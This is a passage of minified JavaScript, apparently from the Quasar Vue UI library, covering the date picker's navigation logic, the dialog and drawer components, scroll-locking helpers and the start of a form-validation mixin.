                        round: !0,
                        dense: !0,
                        flat: !0,
                        icon: this.dateArrow[0],
                        tabindex: this.computedTabindex
                    },
                    on: mt(this, "y-", {
                        click: function() {
                            e.startYear -= 20
                        }
                    })
                })]), t("div", {
                    staticClass: "q-date__years-content col self-stretch row items-center"
                }, n), t("div", {
                    staticClass: "col-auto"
                }, [t(be, {
                    props: {
                        round: !0,
                        dense: !0,
                        flat: !0,
                        icon: this.dateArrow[1],
                        tabindex: this.computedTabindex
                    },
                    on: mt(this, "y+", {
                        click: function() {
                            e.startYear += 20
                        }
                    })
                })])])
            },
            __getDaysInMonth: function(t) {
                return "persian" !== this.calendar ? new Date(t.year,t.month,0).getDate() : ms(t.year, t.month)
            },
            __goToMonth: function(t) {
                var e = Number(this.innerModel.month) + t
                  , i = this.yearDirection;
                13 === e ? (e = 1,
                this.innerModel.year++,
                i = !0 !== this.$q.lang.rtl ? "left" : "right") : 0 === e && (e = 12,
                this.innerModel.year--,
                i = !0 !== this.$q.lang.rtl ? "right" : "left"),
                this.monthDirection = t > 0 == (!0 !== this.$q.lang.rtl) ? "left" : "right",
                this.yearDirection = i,
                this.innerModel.month = e,
                !0 === this.emitImmediately && this.__updateValue({}, "month")
            },
            __goToYear: function(t) {
                this.monthDirection = this.yearDirection = t > 0 == (!0 !== this.$q.lang.rtl) ? "left" : "right",
                this.innerModel.year = Number(this.innerModel.year) + t,
                !0 === this.emitImmediately && this.__updateValue({}, "year")
            },
            __setYear: function(t) {
                this.innerModel.year = t,
                !0 === this.emitImmediately && this.__updateValue({
                    year: t
                }, "year"),
                this.view = null === this.extModel.month || "Years" === this.defaultView ? "Months" : "Calendar"
            },
            __setMonth: function(t) {
                this.innerModel.month = t,
                !0 === this.emitImmediately && this.__updateValue({
                    month: t
                }, "month"),
                this.view = "Calendar"
            },
            __setDay: function(t) {
                this.__updateValue({
                    day: t
                }, "day")
            },
            __updateValue: function(t, e) {
                var i = this;
                if (void 0 === t.year && (t.year = this.innerModel.year),
                void 0 === t.month && (t.month = this.innerModel.month),
                void 0 === t.day || !0 === this.emitImmediately && ("year" === e || "month" === e)) {
                    t.day = this.innerModel.day;
                    var s = !0 === this.emitImmediately ? this.__getDaysInMonth(t) : this.daysInMonth;
                    t.day = Math.min(Math.max(1, t.day), s)
                }
                var n = "persian" === this.calendar ? t.year + "/" + pt(t.month) + "/" + pt(t.day) : Ns(new Date(t.year,t.month - 1,t.day,this.extModel.hour,this.extModel.minute,this.extModel.second,this.extModel.millisecond), this.mask, this.computedLocale, t.year, this.extModel.timezoneOffset);
                if (t.changed = n !== this.value,
                this.$emit("input", n, e, t),
                n === this.value && "today" === e) {
                    var o = t.year + "/" + pt(t.month) + "/" + pt(t.day)
                      , r = this.innerModel.year + "/" + pt(this.innerModel.month) + "/" + pt(this.innerModel.day);
                    o !== r && (this.monthDirection = r < o == (!0 !== this.$q.lang.rtl) ? "left" : "right",
                    t.year !== this.innerModel.year && (this.yearDirection = this.monthDirection),
                    this.$nextTick(function() {
                        i.startYear = t.year - t.year % 20 - (t.year < 0 ? 20 : 0),
                        Object.assign(i.innerModel, {
                            year: t.year,
                            month: t.month,
                            day: t.day,
                            dateHash: o
                        })
                    }))
                }
            }
        },
        render: function(t) {
            var e = [t("div", {
                staticClass: "q-date__content col relative-position"
            }, [t("transition", {
                props: {
                    name: "q-transition--fade"
                }
            }, [this["__get" + this.view + "View"](t)])])]
              , i = Lt(this, "default");
            return void 0 !== i && e.push(t("div", {
                staticClass: "q-date__actions"
            }, i)),
            void 0 !== this.name && !0 !== this.disable && this.__injectFormInput(e, "push"),
            t("div", {
                class: this.classes,
                attrs: this.attrs,
                on: Object.assign({}, this.qListeners)
            }, [this.__getHeader(t), t("div", {
                staticClass: "q-date__main col column",
                attrs: {
                    tabindex: -1
                },
                ref: "blurTarget"
            }, e)])
        }
    }), Js = {
        methods: {
            __addHistory: function() {
                var t = this;
                this.__historyEntry = {
                    condition: function() {
                        return !0 === t.hideOnRouteChange
                    },
                    handler: this.hide
                },
                A.add(this.__historyEntry)
            },
            __removeHistory: function() {
                void 0 !== this.__historyEntry && (A.remove(this.__historyEntry),
                this.__historyEntry = void 0)
            }
        },
        beforeDestroy: function() {
            !0 === this.showing && this.__removeHistory()
        }
    }, tn = 0, en = !1;
    function sn(t) {
        (function(t) {
            if (t.target === document.body || t.target.classList.contains("q-layout__backdrop"))
                return !0;
            for (var e = g(t), i = t.shiftKey && !t.deltaX, s = !i && Math.abs(t.deltaX) <= Math.abs(t.deltaY), n = i || s ? t.deltaY : t.deltaX, o = 0; o < e.length; o++) {
                var r = e[o];
                if (Ue(r, s))
                    return s ? n < 0 && 0 === r.scrollTop || n > 0 && r.scrollTop + r.clientHeight === r.scrollHeight : n < 0 && 0 === r.scrollLeft || n > 0 && r.scrollLeft + r.clientWidth === r.scrollWidth
            }
            return !0
        }
        )(t) && S(t)
    }
    function nn(t) {
        t.target === document && (document.scrollingElement.scrollTop = document.scrollingElement.scrollTop)
    }
    function on(t) {
        !0 !== en && (en = !0,
        requestAnimationFrame(function() {
            en = !1;
            var e = t.target.height
              , i = document.scrollingElement
              , s = i.clientHeight
              , n = i.scrollTop;
            void 0 !== Ws && e === window.innerHeight || (Ws = s - e,
            document.scrollingElement.scrollTop = n),
            n > Ws && (document.scrollingElement.scrollTop -= Math.ceil((n - Ws) / 8))
        }))
    }
    function rn(t) {
        var e = document.body
          , i = void 0 !== window.visualViewport;
        if ("add" === t) {
            var s = window.getComputedStyle(e).overflowY;
            Hs = Fe(window),
            Qs = Ie(window),
            Ys = e.style.left,
            Us = e.style.top,
            e.style.left = "-" + Hs + "px",
            e.style.top = "-" + Qs + "px",
            "hidden" !== s && ("scroll" === s || e.scrollHeight > window.innerHeight) && e.classList.add("q-body--force-scrollbar"),
            e.classList.add("q-body--prevent-scroll"),
            document.qScrollPrevented = !0,
            !0 === u.is.ios && (!0 === i ? (window.scrollTo(0, 0),
            window.visualViewport.addEventListener("resize", on, d.passiveCapture),
            window.visualViewport.addEventListener("scroll", on, d.passiveCapture),
            window.scrollTo(0, 0)) : window.addEventListener("scroll", nn, d.passiveCapture))
        }
        !0 === u.is.desktop && !0 === u.is.mac && window[t + "EventListener"]("wheel", sn, d.notPassive),
        "remove" === t && (!0 === u.is.ios && (!0 === i ? (window.visualViewport.removeEventListener("resize", on, d.passiveCapture),
        window.visualViewport.removeEventListener("scroll", on, d.passiveCapture)) : window.removeEventListener("scroll", nn, d.passiveCapture)),
        e.classList.remove("q-body--prevent-scroll"),
        e.classList.remove("q-body--force-scrollbar"),
        document.qScrollPrevented = !1,
        e.style.left = Ys,
        e.style.top = Us,
        window.scrollTo(Hs, Qs),
        Ws = void 0)
    }
    function an(t) {
        var e = "add";
        if (!0 === t) {
            if (tn++,
            void 0 !== Ks)
                return clearTimeout(Ks),
                void (Ks = void 0);
            if (tn > 1)
                return
        } else {
            if (0 === tn)
                return;
            if (--tn > 0)
                return;
            if (e = "remove",
            !0 === u.is.ios && !0 === u.is.nativeMobile)
                return clearTimeout(Ks),
                void (Ks = setTimeout(function() {
                    rn(e),
                    Ks = void 0
                }, 100))
        }
        rn(e)
    }
    for (var ln, cn = {
        methods: {
            __preventScroll: function(t) {
                t === this.preventedScroll || void 0 === this.preventedScroll && !0 !== t || (this.preventedScroll = t,
                an(t))
            }
        }
    }, un = 0, hn = {
        standard: "fixed-full flex-center",
        top: "fixed-top justify-center",
        bottom: "fixed-bottom justify-center",
        right: "fixed-right items-center",
        left: "fixed-left items-center"
    }, dn = {
        standard: ["scale", "scale"],
        top: ["slide-down", "slide-up"],
        bottom: ["slide-up", "slide-down"],
        right: ["slide-left", "slide-right"],
        left: ["slide-right", "slide-left"]
    }, pn = t.extend({
        name: "QDialog",
        mixins: [_t, Js, Ce, qe, cn],
        props: {
            persistent: Boolean,
            autoClose: Boolean,
            noEscDismiss: Boolean,
            noBackdropDismiss: Boolean,
            noRouteDismiss: Boolean,
            noRefocus: Boolean,
            noFocus: Boolean,
            seamless: Boolean,
            maximized: Boolean,
            fullWidth: Boolean,
            fullHeight: Boolean,
            square: Boolean,
            position: {
                type: String,
                default: "standard",
                validator: function(t) {
                    return "standard" === t || ["top", "bottom", "left", "right"].includes(t)
                }
            },
            transitionShow: String,
            transitionHide: String
        },
        data: function() {
            return {
                transitionState: this.showing
            }
        },
        watch: {
            showing: function(t) {
                var e = this;
                this.transitionShowComputed !== this.transitionHideComputed && this.$nextTick(function() {
                    e.transitionState = t
                })
            },
            maximized: function(t) {
                !0 === this.showing && this.__updateMaximized(t)
            },
            useBackdrop: function(t) {
                this.__preventScroll(t),
                this.__preventFocusout(t)
            }
        },
        computed: {
            classes: function() {
                return "q-dialog__inner--" + (!0 === this.maximized ? "maximized" : "minimized") + " q-dialog__inner--" + this.position + " " + hn[this.position] + (!0 === this.fullWidth ? " q-dialog__inner--fullwidth" : "") + (!0 === this.fullHeight ? " q-dialog__inner--fullheight" : "") + (!0 === this.square ? " q-dialog__inner--square" : "")
            },
            transitionShowComputed: function() {
                return "q-transition--" + (void 0 === this.transitionShow ? dn[this.position][0] : this.transitionShow)
            },
            transitionHideComputed: function() {
                return "q-transition--" + (void 0 === this.transitionHide ? dn[this.position][1] : this.transitionHide)
            },
            transition: function() {
                return !0 === this.transitionState ? this.transitionHideComputed : this.transitionShowComputed
            },
            useBackdrop: function() {
                return !0 === this.showing && !0 !== this.seamless
            },
            hideOnRouteChange: function() {
                return !0 !== this.persistent && !0 !== this.noRouteDismiss && !0 !== this.seamless
            },
            onEvents: function() {
                var t = Object.assign({}, this.qListeners, {
                    input: y,
                    "popup-show": y,
                    "popup-hide": y
                });
                return !0 === this.autoClose && (t.click = this.__onAutoClose),
                t
            }
        },
        methods: {
            focus: function() {
                var t = this.__getInnerNode();
                void 0 !== t && !0 !== t.contains(document.activeElement) && (t = t.querySelector("[autofocus], [data-autofocus]") || t).focus()
            },
            shake: function() {
                this.focus(),
                this.$emit("shake");
                var t = this.__getInnerNode();
                void 0 !== t && (t.classList.remove("q-animate--scale"),
                t.classList.add("q-animate--scale"),
                clearTimeout(this.shakeTimeout),
                this.shakeTimeout = setTimeout(function() {
                    t.classList.remove("q-animate--scale")
                }, 170))
            },
            __getInnerNode: function() {
                return void 0 !== this.__portal && void 0 !== this.__portal.$refs ? this.__portal.$refs.inner : void 0
            },
            __show: function(t) {
                var e = this;
                this.__addHistory(),
                this.__refocusTarget = !1 === this.noRefocus && null !== document.activeElement ? document.activeElement : void 0,
                this.$el.dispatchEvent(C("popup-show", {
                    bubbles: !0
                })),
                this.__updateMaximized(this.maximized),
                ti.register(this, function() {
                    !0 !== e.seamless && (!0 === e.persistent || !0 === e.noEscDismiss ? !0 !== e.maximized && e.shake() : (e.$emit("escape-key"),
                    e.hide()))
                }),
                this.__showPortal(),
                !0 !== this.noFocus && (null !== document.activeElement && document.activeElement.blur(),
                this.__nextTick(this.focus)),
                this.__setTimeout(function() {
                    if (!0 === e.$q.platform.is.ios) {
                        if (!0 !== e.seamless && document.activeElement) {
                            var i = document.activeElement.getBoundingClientRect()
                              , s = i.top
                              , n = i.bottom
                              , o = window.innerHeight
                              , r = void 0 !== window.visualViewport ? window.visualViewport.height : o;
                            if (s > 0 && n > r / 2) {
                                var a = Math.min(document.scrollingElement.scrollHeight - r, n >= o ? 1 / 0 : Math.ceil(document.scrollingElement.scrollTop + n - r / 2))
                                  , l = function() {
                                    requestAnimationFrame(function() {
                                        document.scrollingElement.scrollTop += Math.ceil((a - document.scrollingElement.scrollTop) / 8),
                                        document.scrollingElement.scrollTop !== a && l()
                                    })
                                };
                                l()
                            }
                            document.activeElement.scrollIntoView()
                        }
                        e.__portal.$el.click()
                    }
                    e.$emit("show", t)
                }, 300)
            },
            __hide: function(t) {
                var e = this;
                this.__removeHistory(),
                this.__cleanup(!0),
                void 0 !== this.__refocusTarget && null !== this.__refocusTarget && this.__refocusTarget.focus(),
                this.$el.dispatchEvent(C("popup-hide", {
                    bubbles: !0
                })),
                this.__setTimeout(function() {
                    e.__hidePortal(),
                    e.$emit("hide", t)
                }, 300)
            },
            __cleanup: function(t) {
                clearTimeout(this.shakeTimeout),
                !0 !== t && !0 !== this.showing || (ti.pop(this),
                this.__updateMaximized(!1),
                !0 !== this.seamless && (this.__preventScroll(!1),
                this.__preventFocusout(!1)))
            },
            __updateMaximized: function(t) {
                !0 === t ? !0 !== this.isMaximized && (un < 1 && document.body.classList.add("q-body--dialog"),
                un++,
                this.isMaximized = !0) : !0 === this.isMaximized && (un < 2 && document.body.classList.remove("q-body--dialog"),
                un--,
                this.isMaximized = !1)
            },
            __preventFocusout: function(t) {
                if (!0 === this.$q.platform.is.desktop) {
                    var e = (!0 === t ? "add" : "remove") + "EventListener";
                    document.body[e]("focusin", this.__onFocusChange)
                }
            },
            __onAutoClose: function(t) {
                this.hide(t),
                void 0 !== this.qListeners.click && this.$emit("click", t)
            },
            __onBackdropClick: function(t) {
                !0 !== this.persistent && !0 !== this.noBackdropDismiss ? this.hide(t) : this.shake()
            },
            __onFocusChange: function(t) {
                !0 === this.showing && void 0 !== this.__portal && !0 !== function(t, e) {
                    if (void 0 === t || !0 === t.contains(e))
                        return !0;
                    for (var i = t.nextElementSibling; null !== i; i = i.nextElementSibling)
                        if (i.contains(e))
                            return !0;
                    return !1
                }(this.__portal.$el, t.target) && this.focus()
            },
            __renderPortal: function(t) {
                return t("div", {
                    staticClass: "q-dialog fullscreen no-pointer-events",
                    class: this.contentClass,
                    style: this.contentStyle,
                    attrs: this.qAttrs
                }, [t("transition", {
                    props: {
                        name: "q-transition--fade"
                    }
                }, !0 === this.useBackdrop ? [t("div", {
                    staticClass: "q-dialog__backdrop fixed-full",
                    attrs: gt,
                    on: mt(this, "bkdrop", {
                        click: this.__onBackdropClick
                    })
                })] : null), t("transition", {
                    props: {
                        name: this.transition
                    }
                }, [!0 === this.showing ? t("div", {
                    ref: "inner",
                    staticClass: "q-dialog__inner flex no-pointer-events",
                    class: this.classes,
                    attrs: {
                        tabindex: -1
                    },
                    on: this.onEvents
                }, Lt(this, "default")) : null])])
            }
        },
        mounted: function() {
            this.__processModelChange(this.value)
        },
        beforeDestroy: function() {
            this.__cleanup()
        }
    }), fn = ["mouseover", "mouseout", "mouseenter", "mouseleave"], mn = t.extend({
        name: "QDrawer",
        inject: {
            layout: {
                default: function() {
                    console.error("QDrawer needs to be child of QLayout")
                }
            }
        },
        mixins: [Dt, Js, Ce, cn],
        directives: {
            TouchPan: Qi
        },
        props: {
            side: {
                type: String,
                default: "left",
                validator: function(t) {
                    return ["left", "right"].includes(t)
                }
            },
            width: {
                type: Number,
                default: 300
            },
            mini: Boolean,
            miniToOverlay: Boolean,
            miniWidth: {
                type: Number,
                default: 57
            },
            breakpoint: {
                type: Number,
                default: 1023
            },
            showIfAbove: Boolean,
            behavior: {
                type: String,
                validator: function(t) {
                    return ["default", "desktop", "mobile"].includes(t)
                },
                default: "default"
            },
            bordered: Boolean,
            elevated: Boolean,
            contentStyle: [String, Object, Array],
            contentClass: [String, Object, Array],
            overlay: Boolean,
            persistent: Boolean,
            noSwipeOpen: Boolean,
            noSwipeClose: Boolean,
            noSwipeBackdrop: Boolean
        },
        data: function() {
            var t = "mobile" === this.behavior || "desktop" !== this.behavior && this.layout.totalWidth <= this.breakpoint;
            return {
                belowBreakpoint: t,
                showing: !0 === this.showIfAbove && !1 === t || !0 === this.value
            }
        },
        watch: {
            belowBreakpoint: function(t) {
                !0 === t ? (this.lastDesktopState = this.showing,
                !0 === this.showing && this.hide(!1)) : !1 === this.overlay && "mobile" !== this.behavior && !1 !== this.lastDesktopState && (!0 === this.showing ? (this.__applyPosition(0),
                this.__applyBackdrop(0),
                this.__cleanup()) : this.show(!1))
            },
            "layout.totalWidth": function(t) {
                this.__updateLocal("belowBreakpoint", "mobile" === this.behavior || "desktop" !== this.behavior && t <= this.breakpoint)
            },
            side: function(t, e) {
                this.layout.instances[e] === this && (this.layout.instances[e] = void 0,
                this.layout[e].space = !1,
                this.layout[e].offset = 0),
                this.layout.instances[t] = this,
                this.layout[t].size = this.size,
                this.layout[t].space = this.onLayout,
                this.layout[t].offset = this.offset
            },
            behavior: function(t) {
                this.__updateLocal("belowBreakpoint", "mobile" === t || "desktop" !== t && this.layout.totalWidth <= this.breakpoint)
            },
            breakpoint: function(t) {
                this.__updateLocal("belowBreakpoint", "mobile" === this.behavior || "desktop" !== this.behavior && this.layout.totalWidth <= t)
            },
            "layout.container": function(t) {
                !0 === this.showing && this.__preventScroll(!0 !== t)
            },
            "layout.scrollbarWidth": function() {
                this.__applyPosition(!0 === this.showing ? 0 : void 0)
            },
            offset: function(t) {
                this.__update("offset", t)
            },
            onLayout: function(t) {
                this.$emit("on-layout", t),
                this.__update("space", t)
            },
            rightSide: function() {
                this.__applyPosition()
            },
            size: function(t) {
                this.__applyPosition(),
                this.__updateSizeOnLayout(this.miniToOverlay, t)
            },
            miniToOverlay: function(t) {
                this.__updateSizeOnLayout(t, this.size)
            },
            "$q.lang.rtl": function() {
                this.__applyPosition()
            },
            mini: function() {
                !0 === this.value && (this.__animateMini(),
                this.layout.__animate())
            },
            isMini: function(t) {
                this.$emit("mini-state", t)
            }
        },
        computed: {
            rightSide: function() {
                return "right" === this.side
            },
            otherSide: function() {
                return !0 === this.rightSide ? "left" : "right"
            },
            offset: function() {
                return !0 === this.showing && !1 === this.belowBreakpoint && !1 === this.overlay ? !0 === this.miniToOverlay ? this.miniWidth : this.size : 0
            },
            size: function() {
                return !0 === this.isMini ? this.miniWidth : this.width
            },
            fixed: function() {
                return !0 === this.overlay || !0 === this.miniToOverlay || this.layout.view.indexOf(this.rightSide ? "R" : "L") > -1 || this.$q.platform.is.ios && !0 === this.layout.container
            },
            onLayout: function() {
                return !0 === this.showing && !1 === this.belowBreakpoint && !1 === this.overlay
            },
            onScreenOverlay: function() {
                return !0 === this.showing && !1 === this.belowBreakpoint && !0 === this.overlay
            },
            backdropClass: function() {
                return !1 === this.showing ? "hidden" : null
            },
            headerSlot: function() {
                return !0 === this.rightSide ? "r" === this.layout.rows.top[2] : "l" === this.layout.rows.top[0]
            },
            footerSlot: function() {
                return !0 === this.rightSide ? "r" === this.layout.rows.bottom[2] : "l" === this.layout.rows.bottom[0]
            },
            aboveStyle: function() {
                var t = {};
                return !0 === this.layout.header.space && !1 === this.headerSlot && (!0 === this.fixed ? t.top = this.layout.header.offset + "px" : !0 === this.layout.header.space && (t.top = this.layout.header.size + "px")),
                !0 === this.layout.footer.space && !1 === this.footerSlot && (!0 === this.fixed ? t.bottom = this.layout.footer.offset + "px" : !0 === this.layout.footer.space && (t.bottom = this.layout.footer.size + "px")),
                t
            },
            style: function() {
                var t = {
                    width: this.size + "px"
                };
                return !0 === this.belowBreakpoint ? t : Object.assign(t, this.aboveStyle)
            },
            classes: function() {
                return "q-drawer--" + this.side + (!0 === this.bordered ? " q-drawer--bordered" : "") + (!0 === this.isDark ? " q-drawer--dark q-dark" : "") + (!0 !== this.showing ? " q-layout--prevent-focus" : "") + (!0 === this.belowBreakpoint ? " fixed q-drawer--on-top q-drawer--mobile q-drawer--top-padding" : " q-drawer--" + (!0 === this.isMini ? "mini" : "standard") + (!0 === this.fixed || !0 !== this.onLayout ? " fixed" : "") + (!0 === this.overlay || !0 === this.miniToOverlay ? " q-drawer--on-top" : "") + (!0 === this.headerSlot ? " q-drawer--top-padding" : ""))
            },
            stateDirection: function() {
                return (!0 === this.$q.lang.rtl ? -1 : 1) * (!0 === this.rightSide ? 1 : -1)
            },
            isMini: function() {
                return !0 === this.mini && !0 !== this.belowBreakpoint
            },
            onNativeEvents: function() {
                var t = this;
                if (!0 !== this.belowBreakpoint) {
                    var e = {
                        "!click": function(e) {
                            t.$emit("click", e)
                        }
                    };
                    return fn.forEach(function(i) {
                        e[i] = function(e) {
                            void 0 !== t.qListeners[i] && t.$emit(i, e)
                        }
                    }),
                    e
                }
            },
            hideOnRouteChange: function() {
                return !0 !== this.persistent && (!0 === this.belowBreakpoint || !0 === this.onScreenOverlay)
            },
            openDirective: function() {
                var t, e = !0 === this.$q.lang.rtl ? this.side : this.otherSide;
                return [{
                    name: "touch-pan",
                    value: this.__openByTouch,
                    modifiers: (t = {},
                    t[e] = !0,
                    t.mouse = !0,
                    t)
                }]
            },
            contentCloseDirective: function() {
                var t;
                if (!0 !== this.noSwipeClose) {
                    var e = !0 === this.$q.lang.rtl ? this.otherSide : this.side;
                    return [{
                        name: "touch-pan",
                        value: this.__closeByTouch,
                        modifiers: (t = {},
                        t[e] = !0,
                        t.mouse = !0,
                        t)
                    }]
                }
            },
            backdropCloseDirective: function() {
                var t;
                if (!0 !== this.noSwipeBackdrop) {
                    var e = !0 === this.$q.lang.rtl ? this.otherSide : this.side;
                    return [{
                        name: "touch-pan",
                        value: this.__closeByTouch,
                        modifiers: (t = {},
                        t[e] = !0,
                        t.mouse = !0,
                        t.mouseAllDir = !0,
                        t)
                    }]
                }
            }
        },
        methods: {
            __applyPosition: function(t) {
                var e = this;
                void 0 === t ? this.$nextTick(function() {
                    t = !0 === e.showing ? 0 : e.size,
                    e.__applyPosition(e.stateDirection * t)
                }) : void 0 !== this.$refs.content && (!0 !== this.layout.container || !0 !== this.rightSide || !0 !== this.belowBreakpoint && Math.abs(t) !== this.size || (t += this.stateDirection * this.layout.scrollbarWidth),
                this.__lastPosition !== t && (this.$refs.content.style.transform = "translateX(" + t + "px)",
                this.__lastPosition = t))
            },
            __applyBackdrop: function(t, e) {
                var i = this;
                void 0 !== this.$refs.backdrop ? this.$refs.backdrop.style.backgroundColor = this.lastBackdropBg = "rgba(0,0,0," + .4 * t + ")" : !0 !== e && this.$nextTick(function() {
                    i.__applyBackdrop(t, !0)
                })
            },
            __setBackdropVisible: function(t) {
                void 0 !== this.$refs.backdrop && this.$refs.backdrop.classList[!0 === t ? "remove" : "add"]("hidden")
            },
            __setScrollable: function(t) {
                var e = !0 === t ? "remove" : !0 !== this.layout.container ? "add" : "";
                "" !== e && document.body.classList[e]("q-body--drawer-toggle")
            },
            __animateMini: function() {
                var t = this;
                void 0 !== this.timerMini ? clearTimeout(this.timerMini) : void 0 !== this.$el && this.$el.classList.add("q-drawer--mini-animate"),
                this.timerMini = setTimeout(function() {
                    void 0 !== t.$el && t.$el.classList.remove("q-drawer--mini-animate"),
                    t.timerMini = void 0
                }, 150)
            },
            __openByTouch: function(t) {
                if (!1 === this.showing) {
                    var e = this.size
                      , i = ht(t.distance.x, 0, e);
                    if (!0 === t.isFinal) {
                        var s = this.$refs.content
                          , n = i >= Math.min(75, e);
                        return s.classList.remove("no-transition"),
                        void (!0 === n ? this.show() : (this.layout.__animate(),
                        this.__applyBackdrop(0),
                        this.__applyPosition(this.stateDirection * e),
                        s.classList.remove("q-drawer--delimiter"),
                        s.classList.add("q-layout--prevent-focus"),
                        this.__setBackdropVisible(!1)))
                    }
                    if (this.__applyPosition((!0 === this.$q.lang.rtl ? !0 !== this.rightSide : this.rightSide) ? Math.max(e - i, 0) : Math.min(0, i - e)),
                    this.__applyBackdrop(ht(i / e, 0, 1)),
                    !0 === t.isFirst) {
                        var o = this.$refs.content;
                        o.classList.add("no-transition"),
                        o.classList.add("q-drawer--delimiter"),
                        o.classList.remove("q-layout--prevent-focus"),
                        this.__setBackdropVisible(!0)
                    }
                }
            },
            __closeByTouch: function(t) {
                if (!0 === this.showing) {
                    var e = this.size
                      , i = t.direction === this.side
                      , s = (!0 === this.$q.lang.rtl ? !0 !== i : i) ? ht(t.distance.x, 0, e) : 0;
                    if (!0 === t.isFinal) {
                        var n = Math.abs(s) < Math.min(75, e);
                        return this.$refs.content.classList.remove("no-transition"),
                        void (!0 === n ? (this.layout.__animate(),
                        this.__applyBackdrop(1),
                        this.__applyPosition(0)) : this.hide())
                    }
                    this.__applyPosition(this.stateDirection * s),
                    this.__applyBackdrop(ht(1 - s / e, 0, 1)),
                    !0 === t.isFirst && this.$refs.content.classList.add("no-transition")
                }
            },
            __show: function(t, e) {
                var i = this;
                if (this.__addHistory(),
                this.__setBackdropVisible(!0),
                !1 !== t && this.layout.__animate(),
                this.__applyPosition(0),
                !0 === this.belowBreakpoint) {
                    var s = this.layout.instances[this.otherSide];
                    void 0 !== s && !0 === s.belowBreakpoint && s.hide(!1),
                    this.__applyBackdrop(1),
                    !0 !== this.layout.container && this.__preventScroll(!0)
                } else
                    this.__applyBackdrop(0),
                    !1 !== t && this.__setScrollable(!1);
                this.__setTimeout(function() {
                    !1 !== t && i.__setScrollable(!0),
                    !0 !== e && i.$emit("show", t)
                }, 150)
            },
            __hide: function(t, e) {
                var i = this;
                this.__removeHistory(),
                !1 !== t && this.layout.__animate(),
                this.__applyBackdrop(0),
                this.__applyPosition(this.stateDirection * this.size),
                this.__setBackdropVisible(!1),
                this.__cleanup(),
                !0 !== e && this.__setTimeout(function() {
                    i.$emit("hide", t)
                }, 150)
            },
            __cleanup: function() {
                this.__preventScroll(!1),
                this.__setScrollable(!0)
            },
            __update: function(t, e) {
                this.layout[this.side][t] !== e && (this.layout[this.side][t] = e)
            },
            __updateLocal: function(t, e) {
                this[t] !== e && (this[t] = e)
            },
            __updateSizeOnLayout: function(t, e) {
                this.__update("size", !0 === t ? this.miniWidth : e)
            }
        },
        created: function() {
            this.layout.instances[this.side] = this,
            this.__updateSizeOnLayout(this.miniToOverlay, this.size),
            this.__update("space", this.onLayout),
            this.__update("offset", this.offset),
            !0 === this.showIfAbove && !0 !== this.value && !0 === this.showing && void 0 !== this.qListeners.input && this.$emit("input", !0)
        },
        mounted: function() {
            var t = this;
            this.$emit("on-layout", this.onLayout),
            this.$emit("mini-state", this.isMini),
            this.lastDesktopState = !0 === this.showIfAbove;
            var e = function() {
                var e = !0 === t.showing ? "show" : "hide";
                t["__" + e](!1, !0)
            };
            0 === this.layout.totalWidth ? this.watcher = this.$watch("layout.totalWidth", function() {
                t.watcher(),
                t.watcher = void 0,
                !1 === t.showing && !0 === t.showIfAbove && !1 === t.belowBreakpoint ? t.show(!1) : e()
            }) : this.$nextTick(e)
        },
        beforeDestroy: function() {
            void 0 !== this.watcher && this.watcher(),
            clearTimeout(this.timerMini),
            !0 === this.showing && this.__cleanup(),
            this.layout.instances[this.side] === this && (this.layout.instances[this.side] = void 0,
            this.__update("size", 0),
            this.__update("offset", 0),
            this.__update("space", !1))
        },
        render: function(t) {
            var e = [];
            !0 === this.belowBreakpoint && (!0 !== this.noSwipeOpen && e.push(t("div", {
                staticClass: "q-drawer__opener fixed-" + this.side,
                attrs: gt,
                directives: this.openDirective
            })),
            e.push(t("div", {
                ref: "backdrop",
                staticClass: "fullscreen q-drawer__backdrop",
                class: this.backdropClass,
                attrs: gt,
                style: void 0 !== this.lastBackdropBg ? {
                    backgroundColor: this.lastBackdropBg
                } : null,
                on: mt(this, "bkdrop", {
                    click: this.hide
                }),
                directives: !1 === this.showing ? void 0 : this.backdropCloseDirective
            })));
            var i = [t("div", {
                staticClass: "q-drawer__content fit " + (!0 === this.layout.container ? "overflow-auto" : "scroll"),
                class: this.contentClass,
                style: this.contentStyle
            }, !0 === this.isMini && void 0 !== this.$scopedSlots.mini ? this.$scopedSlots.mini() : Lt(this, "default"))];
            return !0 === this.elevated && !0 === this.showing && i.push(t("div", {
                staticClass: "q-layout__shadow absolute-full overflow-hidden no-pointer-events"
            })),
            e.push(t("aside", {
                ref: "content",
                staticClass: "q-drawer",
                class: this.classes,
                style: this.style,
                on: this.onNativeEvents,
                directives: !0 === this.belowBreakpoint ? this.contentCloseDirective : void 0
            }, i)),
            t("div", {
                staticClass: "q-drawer-container"
            }, e)
        }
    }), vn = [!0, !1, "ondemand"], gn = {
        props: {
            value: {},
            error: {
                type: Boolean,
                default: null
            },
            errorMessage: String,
            noErrorIcon: Boolean,
            rules: Array,
            reactiveRules: Boolean,
            lazyRules: {
                type: [Boolean, String],
                validator: function(t) {
                    return vn.includes(t)
                }
            }
        },
        data: function() {
            return {
                isDirty: null,
                innerError: !1,
                innerErrorMessage: void 0
            }
        },
        watch: {
            value: function() {
                this.__validateIfNeeded()
            },
            reactiveRules: {
                handler: function(t) {
                    var e = this;
                    !0 === t ? void 0 === this.unwatchRules && (this.unwatchRules = this.$watch("rules", function() {
                        e.__validateIfNeeded(!0)
                    })) : void 0 !== this.unwatchRules && (this.unwatchRules(),
                    this.unwatchRules = void 0)
                },
                immediate: !0
            },
            focused: function(t) {
                "ondemand" !== this.lazyRules && (!0 === t ? null === this.isDirty && (this.isDirty = !1) : !1 === this.isDirty && !0 === this.hasRules && (this.isDirty = !0,
                this.validate()))
            }
        },
        computed: {
            hasRules: function() {
                return void 0 !== this.rules && null !== this.rules && this.rules.length > 0
            },
            hasError: function() {
                return !0 === this.error || !0 === this.innerError
            },
            computedErrorMessage: function() {
                return "string" == typeof this.errorMessage && this.errorMessage.length > 0 ? this.errorMessage : this.innerErrorMessage
            }
        },
        mounted: function() {
            this.validateIndex = 0
        },
        beforeDestroy: function() {
            void 0 !== this.unwatchRules && this.unwatchRules()
        },
        methods: {
            resetValidation: function() {
                this.validateIndex++,
                this.innerLoading = !1,
                this.isDirty = null,
                this.innerError = !1,
                this.innerErrorMessage = void 0
            },
            validate: function(t) {
                var e = this;
                if (void 0 === t && (t = this.value),
                !0 !== this.hasRules)
                    return !0;
                this.validateIndex++,
                !0 !== this.innerLoading && !0 !== this.lazyRules && (this.isDirty = !0);
                for (var i = function(t, i) {
                    e.innerError !== t && (e.innerError = t);
                    var s = i || void 0;
                    e.innerErrorMessage !== s && (e.innerErrorMessage = s),
                    !1 !== e.innerLoading && (e.innerLoading = !1)
                }, s = [], n = 0; n < this.rules.length; n++) {
                    var o = this.rules[n]
